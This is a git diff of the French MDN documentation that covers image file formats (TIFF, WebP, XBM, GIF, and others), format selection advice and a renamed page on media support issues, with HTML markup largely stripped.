Chaque valeur d'un fichier TIFF est spécifiée à l'aide de sa balise (indiquant le type d'information dont il s'agit, comme la largeur de l'image) et de son type (indiquant le format dans lequel les données sont stockées), suivis de la longueur du tableau de valeurs à attribuer à cette balise (toutes les propriétés sont stockées dans des tableaux, même pour des valeurs uniques). Cela permet d'utiliser différents types de données pour les mêmes propriétés. Par exemple, la largeur d'une image, ImageWidth, est stockée à l'aide de la balise 0x0100 et est un tableau à une entrée. En précisant le type 3 (SHORT), la valeur de ImageWidth est stockée comme une valeur de 16 bits :

+ + + + + + + + + + + + + + + + + + +
BaliseTypeTailleValeur
0x0100
+ (ImageWidth)		0x0003
+ (SHORT)		0x00000001
+ (1 entée)		0x0280
+ (640 pixels)
+ +

La spécification du type 4 (LONG) enregistre la largeur comme une valeur de 32 bits :

+ + + + + + + + + + + + + + + + +
BaliseTypeTailleValeur
0x0100
+ (ImageWidth)		0x0004
+ (LONG)		0x00000001
+ (1 entry)		0x00000280
+ (640 pixels)
+ +

Un seul fichier TIFF peut contenir plusieurs images ; il peut être utilisé pour représenter des documents de plusieurs pages, par exemple (comme un document de plusieurs pages scanné ou une télécopie reçue). Toutefois, un logiciel qui lit les fichiers TIFF n'est nécessaire que pour prendre en charge la première image.

+ +

Le TIFF prend en charge divers espaces de couleur, et pas seulement le RGB. Il s'agit notamment de CMJN, YCbCr et autres, ce qui fait du TIFF un bon choix pour le stockage d'images destinées à la presse écrite, au cinéma ou à la télévision.

+ +

Il y a longtemps, certains navigateurs prenaient en charge les images TIFF dans le contenu Web ; aujourd'hui, cependant, vous devez utiliser des bibliothèques spéciales ou des modules complémentaires de navigateur pour le faire. Les fichiers TIFF ne sont donc pas utiles dans le contexte du contenu web, mais il est courant de fournir des fichiers TIFF téléchargeables lors de la distribution de photos et d'autres œuvres d'art destinées à être modifiées ou imprimées avec précision.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/tiff
Extension(s) de fichier(s).tif, .tiff
Spécificationadobe.io/open/standards/TIFF.html
Compatibilité des navigateursAucun navigateur n'intègre la prise en charge du TIFF ; son intérêt réside dans le fait qu'il peut être téléchargé
Dimensions maximum4,294,967,295×4,294,967,295 pixels (théoriquement)
Modes de couleur pris en charge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode de couleurBits par composante (D)Description
Bilevel1Un TIFF à deux niveaux stocke 8 bits dans chaque octet, un bit par pixel. Le champ PhotometricInterpretation indique lequel de 0 et 1 est noir et lequel est blanc.
Niveaux de gris4 et 8Chaque pixel est constitué d'une seule valeur D-bit indiquant la luminosité du pixel en niveaux de gris.
Vraie couleur8Toutes les images RVB en couleurs réelles sont stockées en utilisant 8 bits de rouge, de vert et de bleu.
Couleur indexée4 et 8Chaque pixel est un index dans un enregistrement ColorMap, qui définit les couleurs utilisées dans l'image. La carte des couleurs répertorie toutes les valeurs de rouge, puis toutes les valeurs de vert, puis toutes les valeurs de bleu (plutôt que rgb, rgb, rgb...).
Niveaux de gris avec alpha4 et 8L'information alpha est ajoutée en spécifiant qu'il y a plus de 3 échantillons par pixel dans le champ SamplesPerPixel, et en indiquant le type d'alpha (1 pour une composante alpha pré-multipliée associée, et 2 pour une alpha non associée (une couche séparée) ; cependant, les canaux alpha sont rarement utilisés dans les fichiers TIFF et peuvent ne pas être pris en charge par le logiciel de l'utilisateur.
Vraie couleur avec alpha8L'information alpha est ajoutée en spécifiant qu'il y a plus de 3 échantillons par pixel dans le champ SamplesPerPixel, et en indiquant le type d'alpha (1 pour une composante alpha pré-multipliée associée, et 2 pour une alpha non associée (une couche séparée) ; cependant, les canaux alpha sont rarement utilisés dans les fichiers TIFF et peuvent ne pas être pris en charge par le logiciel de l'utilisateur.
+
CompressionLa plupart des fichiers TIFF ne sont pas compressés, mais les PackBits sans perte et la compression LZW sont pris en charge, tout comme la compression JPEG avec perte.
LisenceAucune licence n'est requise (à l'exception de celles associées aux bibliothèques que vous pourriez utiliser) ; tous les brevets connus ont expiré.
+ +

Image WebP

+ +

Le WebP prend en charge la compression avec perte via un codage prédictif basé sur le codec vidéo VP8, et la compression sans perte qui utilise des substitutions pour la répétition des données. Les images WebP avec perte sont en moyenne 25 à 35 % plus petites que les images JPEG dont le niveau de compression est visuellement similaire. Les images WebP sans perte sont généralement 26 % plus petites que les mêmes images au format PNG.

+ +

WebP prend également en charge l'animation : dans un fichier WebP avec perte, les données d'image sont représentées par un flux binaire VP8, qui peut contenir plusieurs images. Le fichier WebP sans perte contient le fragment ANIM, qui décrit l'animation, et le fragment ANMF, qui représente une image d'une séquence d'animation. Le bouclage est pris en charge.

+ +

WebP bénéficie désormais d'un large soutien dans les dernières versions des principaux navigateurs web, bien qu'il ne bénéficie pas d'un soutien historique profond. Fournir une solution de repli au format {{anch("JPEG")}} ou {{anch("PNG")}}, par exemple avec l'élément <picture>.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/webp
Extention(s) de fichier(s).webp
Spécification +

Spécification des conteneurs RIFF (en)
+ {{RFC(6386, "Format des données VP8 et guide de décodage")}} (en) (encodage avec perte)
+ Spécification du flux binaire sans perte WebP (en)

+
Compatibilité des navigateurs + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
Supprt de WebP avec perte171865non11.10 (Presto)
+ 15 (Blink)		non
WebP sans perte23
+ 25 sur Android		1865non12.10 (Presto)
+ 15 (Blink)		non
Animation321865non19 (Blink)non
+
Dimensions maximum16,383×16,383 pixels
Modes de couleur pris en chargeWebP avec perte stocke l'image au format 8 bits Y'CbCr 4:2:0 (YUV420). WebP sans perte utilise la couleur ARGB 8 bits, chaque composant prenant 8 bits pour un total de 32 bits par pixel.
CompressionSans perte (Huffman, LZ77, ou codes de cache couleur) ou avec perte (VP8).
LicenceAucune licence n'est requise ; le code source est librement accessible.
+ +

XBM (X Window System Bitmap file)

+ +

Les fichiers XBM (X Bitmap) ont été les premiers à être pris en charge sur le Web, mais ils ne sont plus utilisés et doivent être évités, car leur format peut poser des problèmes de sécurité. Les navigateurs modernes n'ont pas pris en charge les fichiers XBM depuis de nombreuses années, mais lorsqu'il s'agit de contenus plus anciens, vous pouvez en trouver encore.

+ +

XBM utilise un extrait de code C pour représenter le contenu de l'image sous la forme d'un tableau d'octets. Chaque image se compose de 2 à 4 directives #define, fournissant la largeur et la hauteur de la carte de bits (et éventuellement le hotspot, si l'image est conçue comme un curseur), suivies d'un tableau de unsigned char, où chaque valeur contient 8 pixels monochromes de 1 bit.

+ +

L'image doit être un multiple de 8 pixels de large. Par exemple, le code suivant représente une image XBM de 8 pixels sur 8 pixels, ces pixels étant disposés en damier noir et blanc :

+ +
#define square8_width 8
+#define square8_height 8
+static unsigned char square8_bits[] = {
+  0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
+};
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de MIMEimage/xbm, image-xbitmap
Extension(s) de fichier(s).xbm
SpécificationAucune
Compatibilité des navigateursFirefox 1–3.5, Internet Explorer 1–5
Dimensions maximumIllimitée
Modes de couleur pris en charge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mode de couleurBits par composantesDescription
Niveaux de gris1Chaque octet contient huit pixels de 1 bit.
Vraie couleurn/an/a
Couleur indexéen/an/a
Niveaux de gris avec alphan/an/a
Vraie couleur avec alphan/an/a
+
CompressionSans pertes
LicenceOpen source
+ +

Choisir un format d'image

+ +

Il est probablement plus facile de choisir le format d'image le mieux adapté à vos besoins que les formats vidéo, car il existe moins d'options bénéficiant d'un large soutien et chacune d'entre elles tend à avoir un ensemble spécifique de cas d'utilisation.

+ +

Photographies

+ +

Les photographies se comportent généralement bien avec une compression avec perte (selon la configuration du codeur). Cela fait de {{anch("JPEG")}} et {{anch("WebP")}} de bons choix pour les photographies, le JPEG étant plus compatible mais le WebP offrant peut-être une meilleure compression. Pour maximiser la qualité et réduire le temps de téléchargement, envisagez de fournir à la fois une {{anch("Providing image fallbacks", "solution de repli")}} avec WebP comme premier choix et JPEG comme second. Sinon, le JPEG est le choix le plus sûr pour la compatibilité.

+ + + + + + + + + + + + + + +
Meilleurs choixChoix de secours
WebP et JPEGJPEG
+ +

Icônes

+ +

Pour les images plus petites comme les icônes, utilisez un format sans perte pour éviter la perte de détails dans une image de taille limitée. Si le format WebP sans perte est idéal à cette fin, il n'est pas encore très répandu, de sorte que le format PNG est un meilleur choix, à moins que vous n'offriez une {{anch("Providing image fallbacks", "solution de repli")}}. Si votre image contient moins de 256 couleurs, le GIF est une option, bien que le PNG comprime souvent encore plus petit avec son option de compression indexée (PNG-8).

+ +

Si l'icône peut être représentée par des graphiques vectoriels, il faut envisager {{anch("SVG")}}, puisqu'elle s'étend sur plusieurs résolutions et tailles, ce qui est parfait pour une conception réactive. Bien que la prise en charge du SVG soit bonne, il peut être utile de proposer un PNG de secours pour les navigateurs plus anciens.

+ + + + + + + + + + + + +
Meilleurs choixChoix de secours
SVG, WebP sans perte, ou PNGPNG
+ +

Captures d'écran

+ +

À moins que vous ne soyez prêt à faire des compromis sur la qualité, vous devriez utiliser un format sans perte pour les captures d'écran. C'est particulièrement important si votre capture d'écran contient du texte, car le texte devient facilement flou et peu clair sous une compression avec perte.

+ +

Le format PNG est probablement le plus adapté, mais le format WebP sans perte est sans doute mieux compressé.

+ + + + + + + + + + + + +
Meilleur choixChoix de secours
WebP sans perte ou PNG ;
+ JPEG si les artefacts de compression ne sont pas un problème		PNG ou JPEG ;
+ GIF pour les captures d'écran à faible nombre de couleurs
+ +

Diagrammes, dessins et diagrammes

+ +

Pour toute image pouvant être représentée par des graphiques vectoriels, le SVG est le meilleur choix. Sinon, vous devez utiliser un format sans perte comme le PNG. Si vous choisissez un format avec perte, tel que JPEG ou WebP avec perte, pesez soigneusement le niveau de compression pour éviter que le texte ou d'autres formes ne deviennent flous ou imprécis.

+ + + + + + + + + + + + +
Meilleur choixChoix de secours
{{anch("SVG")}}{{anch("PNG")}}
+ +

Fournir des solutions de repli en matière d'image

+ +

Alors que l'élément HTML standard {{HTMLElement("img")}} ne supporte pas les retours de compatibilité pour les images, l'élément {{HTMLElement("picture")}} le fait. <picture> est utilisé comme enveloppe pour un certain nombre d'éléments {{HTMLElement("source")}}, chacun spécifiant une version de l'image dans un format différent ou sous des conditions @media, ainsi qu'un élément <img> qui définit où afficher l'image et le retour à la version par défaut ou "la plus compatible".

+ +

Par exemple, si vous affichez un diagramme mieux affiché avec SVG, mais que vous souhaitez offrir une solution de rechange à un PNG ou GIF du diagramme, vous feriez quelque chose comme ceci :

+ +
<picture>
+  <source srcset="diagram.svg" type="image/svg+xml">
+  <source srcset="diagram.png" type="image/png">
+  <img src="diagram.gif" width="620" height="540"
+       alt="Diagramme montrant les canaux de données">
+</picture>
+
+ +

Vous pouvez spécifier autant de <source>s que vous le souhaitez, bien qu'il vous suffise généralement de 2 ou 3.

+ +

Voir aussi

+ + diff --git a/files/fr/web/media/formats/questions_sur_le_soutien/index.html b/files/fr/web/media/formats/questions_sur_le_soutien/index.html deleted file mode 100644 index e64c50d6a0..0000000000 --- a/files/fr/web/media/formats/questions_sur_le_soutien/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Traiter les questions de soutien aux médias dans le contenu web -slug: Web/Media/Formats/Questions_sur_le_soutien -tags: - - Audio - - Guide - - HTMLAudioElement - - HTMLMediaElement - - HTMLVideoElement - - Intermédiaire - - Media - - Son - - Sources - - Video - - WebRTC -translation_of: Web/Media/Formats/Support_issues ---- -

{{QuickLinksWithSubpages("/fr/docs/Web/Media")}}{{draft}}

- -

L'une des réalités du travail avec la présentation et la manipulation audio et vidéo sur le web est qu'il existe un certain nombre de formats de médias disponibles, de degrés de popularité variables et avec des capacités variées. La possibilité de choisir est bonne pour l'utilisateur, dans la mesure où il peut choisir le format qui répond le mieux à ses besoins. Il y a cependant un inconvénient : comme il y a un grand choix, avec tant de types de licences et de principes de conception différents, chaque développeur de navigateur web est laissé à lui-même pour décider des types de fichiers média et des codecs à prendre en charge.

- -

Cela impose une charge légère, mais raisonnablement facile à surmonter, au développeur web : gérer correctement la situation lorsque le navigateur de l'utilisateur ne peut pas gérer un type de média particulier. Ce guide couvre les techniques que vous pouvez utiliser pour développer des contenus web qui répondent à vos besoins médiatiques tout en offrant l'expérience la plus largement compatible possible. Les sujets que nous examinerons sont les solutions de secours, les formats de base des médias et les pratiques de traitement des erreurs qui permettront à votre contenu de fonctionner dans le plus grand nombre de situations possible.

- -

Utilisation de cadres d'affiches

- -

Un cadre d'affiche est une image fixe représentative du contenu d'une vidéo. Il peut s'agir simplement de la première image de la vidéo ; cependant, dans de nombreux cas, la première image est vide, ou ne contient rien d'autre que le logo d'une entreprise, ou une autre image qui ne donne au lecteur aucun contexte pour le contenu de la vidéo.

- -

Une bonne image d'affiche est soit représentative du contenu de la vidéo, soit une image qui ne provient même pas de la vidéo elle-même mais qui contient des images et/ou du texte qui donnent au lecteur une idée utile du contenu de la vidéo. Dans le cas d'un film d'action, par exemple, le cadre de l'affiche peut être une image exemplaire de l'une des scènes les plus connues du film.

- -

Un concept similaire peut être appliqué aux images fixes ; si une image que vous souhaitez présenter est très grande et peut prendre du temps à télécharger (en particulier pour les appareils ou les connexions plus lents), vous pouvez proposer une version à plus faible résolution ou une version alternative qui sera affichée jusqu'à ce que la version en qualité intégrale soit disponible pour être affichée.

- -

Nous examinerons ces deux scénarios et la manière de les mettre en œuvre.

- -

Images d'affiches pour la vidéo

- -

Images progressives

- -

Les images — qu'elles soient intégrés à l'aide de {{HTMLElement("img")}} ou de {{HTMLElement("image")}} — ne supportent pas un concept similaire aux cadres. Cependant, il existe des moyens de présenter une image de faible qualité pendant qu'elle est encore en cours de chargement. Il faut pour cela créer vos images en utilisant des formats progressifs, tels que le progressif {{Glossary("JPEG")}} ou l'entrelacé {{Glossary("PNG")}}.

- -

Une fois que votre image a été convertie en forme progressive, vous pouvez simplement l'utiliser comme d'habitude.

- -
<img src="/images/stafff-photo-huge-progressive.jpg"
-     alt="Photo du personnel, prise en janvier 1972">
- -

Lors de l'utilisation d'une image progressive, les données sont stockées de telle sorte que le navigateur est en mesure de rendre une représentation de faible qualité de l'image dès que possible, puis de mettre à jour l'image au fur et à mesure de son chargement — ou une fois celui-ci terminé — pour la présenter en pleine qualité.

- -
-

Note: Les images progressives (ou entrelacées) sont par nature légèrement plus grandes que les versions non progressives des mêmes images. C'est à vous de déterminer si l'entrelacement sera bénéfique pour vos utilisateurs.

-
- -

Préciser les sources multiples

- -

Vérification de la compatibilité en JavaScript

- -

{{domxref("HTMLMediaElement.canPlayType")}} et {{domxref("MediaSource.isTypeSupported")}}...

- -

Détection des erreurs de lecture

- -

Adaptation de la présentation avec le CSS

- -

Gestion de la mémoire

- -

Voir aussi

diff --git a/files/fr/web/media/formats/support_issues/index.html b/files/fr/web/media/formats/support_issues/index.html new file mode 100644 index 0000000000..e64c50d6a0 --- /dev/null +++ b/files/fr/web/media/formats/support_issues/index.html @@ -0,0 +1,63 @@ +--- +title: Traiter les questions de soutien aux médias dans le contenu web +slug: Web/Media/Formats/Questions_sur_le_soutien +tags: + - Audio + - Guide + - HTMLAudioElement + - HTMLMediaElement + - HTMLVideoElement + - Intermédiaire + - Media + - Son + - Sources + - Video + - WebRTC +translation_of: Web/Media/Formats/Support_issues +--- +

{{QuickLinksWithSubpages("/fr/docs/Web/Media")}}{{draft}}

+ +

L'une des réalités du travail avec la présentation et la manipulation audio et vidéo sur le web est qu'il existe un certain nombre de formats de médias disponibles, de degrés de popularité variables et avec des capacités variées. La possibilité de choisir est bonne pour l'utilisateur, dans la mesure où il peut choisir le format qui répond le mieux à ses besoins. Il y a cependant un inconvénient : comme il y a un grand choix, avec tant de types de licences et de principes de conception différents, chaque développeur de navigateur web est laissé à lui-même pour décider des types de fichiers média et des codecs à prendre en charge.

+ +

Cela impose une charge légère, mais raisonnablement facile à surmonter, au développeur web : gérer correctement la situation lorsque le navigateur de l'utilisateur ne peut pas gérer un type de média particulier. Ce guide couvre les techniques que vous pouvez utiliser pour développer des contenus web qui répondent à vos besoins médiatiques tout en offrant l'expérience la plus largement compatible possible. Les sujets que nous examinerons sont les solutions de secours, les formats de base des médias et les pratiques de traitement des erreurs qui permettront à votre contenu de fonctionner dans le plus grand nombre de situations possible.

+ +

Utilisation de cadres d'affiches

+ +

Un cadre d'affiche est une image fixe représentative du contenu d'une vidéo. Il peut s'agir simplement de la première image de la vidéo ; cependant, dans de nombreux cas, la première image est vide, ou ne contient rien d'autre que le logo d'une entreprise, ou une autre image qui ne donne au lecteur aucun contexte pour le contenu de la vidéo.

+ +

Une bonne image d'affiche est soit représentative du contenu de la vidéo, soit une image qui ne provient même pas de la vidéo elle-même mais qui contient des images et/ou du texte qui donnent au lecteur une idée utile du contenu de la vidéo. Dans le cas d'un film d'action, par exemple, le cadre de l'affiche peut être une image exemplaire de l'une des scènes les plus connues du film.

+ +

Un concept similaire peut être appliqué aux images fixes ; si une image que vous souhaitez présenter est très grande et peut prendre du temps à télécharger (en particulier pour les appareils ou les connexions plus lents), vous pouvez proposer une version à plus faible résolution ou une version alternative qui sera affichée jusqu'à ce que la version en qualité intégrale soit disponible pour être affichée.

+ +

Nous examinerons ces deux scénarios et la manière de les mettre en œuvre.

+ +

Images d'affiches pour la vidéo

+ +

Images progressives

+ +

Les images — qu'elles soient intégrés à l'aide de {{HTMLElement("img")}} ou de {{HTMLElement("image")}} — ne supportent pas un concept similaire aux cadres. Cependant, il existe des moyens de présenter une image de faible qualité pendant qu'elle est encore en cours de chargement. Il faut pour cela créer vos images en utilisant des formats progressifs, tels que le progressif {{Glossary("JPEG")}} ou l'entrelacé {{Glossary("PNG")}}.

+ +

Une fois que votre image a été convertie en forme progressive, vous pouvez simplement l'utiliser comme d'habitude.

+ +
<img src="/images/stafff-photo-huge-progressive.jpg"
+     alt="Photo du personnel, prise en janvier 1972">
+ +

Lors de l'utilisation d'une image progressive, les données sont stockées de telle sorte que le navigateur est en mesure de rendre une représentation de faible qualité de l'image dès que possible, puis de mettre à jour l'image au fur et à mesure de son chargement — ou une fois celui-ci terminé — pour la présenter en pleine qualité.

+ +
+

Note: Les images progressives (ou entrelacées) sont par nature légèrement plus grandes que les versions non progressives des mêmes images. C'est à vous de déterminer si l'entrelacement sera bénéfique pour vos utilisateurs.

+
+ +

Préciser les sources multiples

+ +

Vérification de la compatibilité en JavaScript

+ +

{{domxref("HTMLMediaElement.canPlayType")}} et {{domxref("MediaSource.isTypeSupported")}}...

+ +

Détection des erreurs de lecture

+ +

Adaptation de la présentation avec le CSS

+ +

Gestion de la mémoire

+ +

Voir aussi

diff --git a/files/fr/web/media/formats/types_des_images/index.html b/files/fr/web/media/formats/types_des_images/index.html deleted file mode 100644 index 5211d74fb9..0000000000 --- a/files/fr/web/media/formats/types_des_images/index.html +++ /dev/null @@ -1,1239 +0,0 @@ ---- -title: Guide des types et formats de fichiers d'images -slug: Web/Media/Formats/Types_des_images -tags: - - APNG - - BMP - - Bitmap - - Diagrammes - - Fichier - - Graphiques - - Guide - - ICO - - Icône - - Image - - Images - - JPEG - - JPG - - Media - - PNG - - Photos - - SVG - - Types - - Types de fichier - - WebP - - gif - - Ícones -translation_of: Web/Media/Formats/Image_types ---- -
{{QuickLinksWithSubpages("/fr/docs/Web/Media")}}
- -

Dans ce guide, nous aborderons les types de fichiers d'images généralement pris en charge par les navigateurs web, et nous vous donnerons des indications qui vous aideront à sélectionner les formats les plus appropriés pour l'imagerie de votre site.

- -

Types de fichiers d'images communs

- -

Il existe de nombreux formats de fichiers d'images dans le monde. Toutefois, ceux qui sont énumérés ci-dessous sont généralement reconnus comme utilisables sur le Web, bien que BMP ne soit généralement pas recommandé car la prise en charge par les navigateurs est potentiellement limitée ; il faut généralement l'éviter pour le contenu Web.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
AbréviationFormat du fichier (en)Type de MIMEExtention(s) du fichierCompatibilité des navigateurs
{{anch("APNG")}}Animated Portable Network Graphicsimage/apng.apngChrome, Edge, Firefox, Opera, Safari
{{anch("BMP")}}Bitmap fileimage/bmp.bmpChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("GIF")}}Graphics Interchange Formatimage/gif.gifChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("ICO")}}Microsoft Iconimage/x-icon.ico, .curChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("JPEG")}}Joint Photographic Expert Group imageimage/jpeg.jpg, .jpeg, .jfif, .pjpeg, .pjpChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("PNG")}}Portable Network Graphicsimage/png.pngChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("SVG")}}Scalable Vector Graphicsimage/svg+xml.svgChrome, Edge, Firefox, Internet Explorer, Opera, Safari
{{anch("TIFF")}}Tagged Image File Formatimage/tiff.tif, .tiffNone built-in; add-ons required
{{anch("WebP")}}Web Picture formatimage/webp.webpChrome, Edge, Firefox, Opera
- -

L'abréviation de chaque format renvoie à une description plus longue du format, de ses capacités et à des informations détaillées sur la compatibilité des navigateurs ; y compris les versions qui ont introduit le support et les caractéristiques spéciales spécifiques qui ont pu être introduites ultérieurement.

-
- -

Détails sur le type de fichier image

- -

Les sections suivantes donnent un bref aperçu de chacun des types de fichiers d'images pris en charge par les navigateurs web.

- -

Dans les tableaux ci-dessous, le terme bits par composante fait référence au nombre de bits utilisés pour représenter chaque composante de couleur. Par exemple, une profondeur de couleur RVB de 8 indique que chacune des composantes rouge, verte et bleue est représentée par une valeur de 8 bits. Profondeur de bit, d'autre part, est le nombre total de bits utilisés pour représenter chaque pixel en mémoire.

- -

APNG (Animated Portable Network Graphics)

- -

L'APNG est un format de fichier introduit pour la première fois par Mozilla qui étend le {{anch("PNG")}} pour ajouter le support des images animées. Conceptuellement similaire au format GIF animé qui est utilisé depuis des décennies, l'APNG est plus performant dans la mesure où il prend en charge une variété de {{interwiki("wikipedia", "color depth", "profondeur de couleur")}}, alors que le GIF animé ne supporte que le 8-bit {{interwiki("wikipedia", "indexed color", "couleur indexée")}}.

- -

L'APNG est idéal pour les animations de base qui n'ont pas besoin d'être synchronisées avec d'autres activités ou avec une bande son, comme les indicateurs de progrès, {{interwiki("wikipedia", "throbber", "indicateur d'activité")}}, et autres séquences animées. Par exemple, l'APNG est l'un des formats pris en charge lors de la création d'autocollants animés pour l'application iMessage d'Apple (et l'application Messages sur iOS). Ils sont également couramment utilisés pour les parties animées des interfaces utilisateur des navigateurs web.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/apng
Extention(s) de fichier(s).apng
Spécificationwiki.mozilla.org/APNG_Specification
Compatibilité des navigateursChrome 59, Edge 12, Firefox 3, Opera 46, Safari 8
Dimentions maximum2,147,483,647×2,147,483,647 pixels
Modes de couleur supportés - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mode de couleurBits par composante (D)Description
Niveau de gris1, 2, 4, 8, et 16Chaque pixel est constitué d'une seule valeur D-bit indiquant la luminosité du pixel en niveaux de gris.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs de D-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.
Couleur indexée1, 2, 4, et 8Chaque pixel est une valeur D-bit indiquant un index dans une palette de couleurs qui est contenue dans un morceau PLTE dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.
Niveau de gris avec alpha8 et 16Chaque pixel est représenté par deux valeurs D-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.
Vraie couleur avec alpha8 et 16Chaque pixel est composé de quatre composantes de couleur D-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.
-
CompressionSans perte
LicenseGratuit et ouvert dans le cadre de la Creative Commons Attribution-ShareAlike license (CC-BY-SA) version 3.0 ou plus.
- -

BMP (Bitmap file)

- -

Le type de fichier BMP (image Bitmap) est le plus répandu sur les ordinateurs Windows, et n'est généralement utilisé que dans des cas particuliers pour les applications et contenus web.

- -
-

Note: Vous devriez généralement éviter d'utiliser le BMP pour le contenu des sites web, car ce n'est pas une utilisation généralement acceptée du format.

-
- -

BMP soutient théoriquement une variété de représentations de données internes. La forme la plus simple, et la plus couramment utilisée, de fichier BMP est une image tramée non compressée, chaque pixel occupant 3 octets représentant ses composantes rouge, verte et bleue, et chaque ligne étant rembourrée avec des 0x00 octets à un multiple de 4 octets de large.

- -

Bien que d'autres représentations de données soient définies dans la spécification, elles ne sont pas largement utilisées et sont souvent complètement inappliquées. Ces caractéristiques comprennent : la prise en charge de différentes profondeurs de bits, la couleur indexée, les canaux alpha et différents ordres de pixels (par défaut, BMP est écrit du coin inférieur gauche vers la droite et le haut, plutôt que du coin supérieur gauche vers la droite et le bas).

- -

Théoriquement, plusieurs algorithmes de compression sont pris en charge, et les données d'image peuvent également être stockées au format {{anch("JPEG")}} ou {{anch("PNG")}} dans le fichier BMP.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/bmp
Extension(s) de fichier(s).bmp
SpécificationAucune spécification ; toutefois, Microsoft fournit une documentation générale sur le format à l'adresse docs.microsoft.com/en-us/windows/desktop/gdi/bitmap-storage
Compatibilité des navigateursToutes versions de Chrome, Edge, Firefox, Internet Explorer, Opera, et Safari
Dimentions maximumSoit 32,767×32,767 ou 2,147,483,647×2,147,483,647 pixels, selon la version du format
Modes de couleur supportés - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mode de couleurBits par composante (D)Description
Niveau de gris1Chaque bit représente un seul pixel, qui peut être noir ou blanc.
Vraie couleur8 et 16Chaque pixel est représenté par trois valeurs représentant les composantes de couleur rouge, verte et bleue ; chacune d'entre elles est constituée de D bits.
Couleur indexée2, 4, et 8Chaque pixel est représenté par une valeur de 2, 4 ou 8 bits, qui sert d'index dans la table des couleurs.
Niveau de gris avec alphan/aLe BMP n'a pas de format d'échelle de gris distinct.
Vraie couleur avec alpha8 et 16Chaque pixel est représenté par quatre valeurs représentant les composantes de couleur rouge, verte, bleue et alpha ; chacune d'entre elles est constituée de D bits.
-
CompressionPlusieurs méthodes de compression sont prises en charge, notamment les algorithmes avec ou sans perte
LicenseCouvert par la promesse de spécification ouverte de Microsoft ; bien que Microsoft détienne des brevets contre la BMP, elle a publié une promesse de ne pas faire valoir ses droits de brevet tant que des conditions spécifiques sont remplies. Il ne s'agit toutefois pas d'une licence. BMP est inclus dans le format Windows Metafile (.wmf).
- -

GIF (Graphics Interchange Format)

- -

En 1987, le fournisseur de services en ligne CompuServe a introduit le {{interwiki("wikipedia", "GIF")}} (Graphics Interchange Format) pour fournir un format graphique compressé que tous les membres de leur service pourront utiliser. Le GIF utilise le {{interwiki("wikipedia", "Lempel-Ziv-Welch")}} (LZW) pour compresser sans perte des images couleur indexés sur 8 bits. Le GIF était l'un des deux premiers formats graphiques pris en charge par {{Glossary("HTML")}}, ainsi que {{anch("XBM")}}.

- -

Chaque pixel d'un GIF est représenté par une seule valeur de 8 bits servant d'index dans une palette de couleurs de 24 bits (8 bits pour le rouge, le vert et le bleu). La longueur d'une table de couleurs est toujours une puissance de 2 (c'est-à-dire que chaque palette a 2, 4, 8, 16, 32, 64 ou 256 entrées). Pour simuler plus de 255 ou 256 couleurs, on utilise généralement la {{interwiki("wikipedia", "dithering", "diffusion d'erreur")}}. Il est techniquement possible  de superposer plusieurs blocs d'images, chacun avec sa propre palette de couleurs, pour créer des images en couleurs réelles, mais en pratique, cela est rarement fait.

- -

Les pixels sont opaques, sauf si un indice de couleur spécifique est désigné comme transparent, auquel cas les pixels colorés à cette valeur sont entièrement transparents.

- -

Le GIF permet une animation simple, dans laquelle, après une première image de taille réelle, une série d'images reflétant les parties de l'image qui changent avec chaque image est fournie.

- -

Le GIF est extrêmement populaire depuis des décennies, en raison de sa simplicité et de sa compatibilité. Son support d'animation a provoqué un regain de popularité à l'ère des médias sociaux, lorsque les GIF animés ont commencé à être largement utilisés pour de courtes "vidéos", des mèmes et d'autres séquences d'animation simples.

- -

Une autre caractéristique populaire du GIF est la prise en charge de l'{{interwiki("wikipedia", "Interlacing_(bitmaps)", "entrelacement")}}, où les rangées de pixels sont stockées dans le désordre afin que les fichiers partiellement reçus puissent être affichés en qualité inférieure. Cela est particulièrement utile lorsque les connexions réseau sont lentes.

- -

Le format GIF est un bon choix pour les images et les animations simples, bien que la conversion d'images couleur en GIF puisse entraîner des diffusions d'erreur insatisfaisantes. En règle générale, le contenu moderne devrait utiliser {{anch("PNG")}} pour les images fixes sans perte et indexées, et devrait envisager d'utiliser {{anch("APNG")}} pour les séquences d'animation sans perte.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de MIMEimage/gif
Extention(s) du fichier(s).gif
SpécificationSpécification GIF87a
- Spécification GIF89a
Compatibilité des navigateursToutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera, and Safari
Dimensions maximum65,536×65,536 pixels
Modes de couleur pris en charge - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mode couleurBits par composante (D)Description
Niveau de grisn/aLe GIF n'inclut pas un format de niveaux de gris spécifique.
Vraie couleurn/aLe GIF ne prend pas en charge les pixels en couleurs réelles.
